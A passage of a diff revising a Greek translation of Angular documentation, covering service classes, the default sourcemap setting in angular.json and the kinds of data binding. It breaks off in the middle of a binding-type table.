σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός της κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες. +Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται άμεσα από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη, ούτε καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες. ## Ρύθμιση sourcemap -Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα σενάρια και δεν είναι κρυφό από προεπιλογή: +Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή: ```json "sourceMap": { "scripts": true, @@ -68,24 +68,24 @@ my-workspace/ Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων: -* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει _παρεμβολή_, _ιδιότητες_, _attributes_, _classes_ και _styles_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο; +* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει _παρεμβολή_, _ιδιότητες_, _ατομικά χαρακτηριστικά_, _κλάσεις_ και _στυλ_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο; * Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει _γεγονότα_); μπορεί να εφαρμοστεί χρησιμοποιώντας `()` στο πρότυπο; -* Δύο κατευθύνσεις; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο. +* Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο. -Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και attributes, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας: +Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και ατομικά χαρακτηριστικά, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας: | ΤΥΠΟΣ | ΣΤΟΧΟΣ | ΠΑΡΑΔΕΙΓΜΑΤΑ | | -------- | ------------------------------------------------------- | ------------------------------------------------------------------ | | Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \ | -| Γεγονός | Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας | \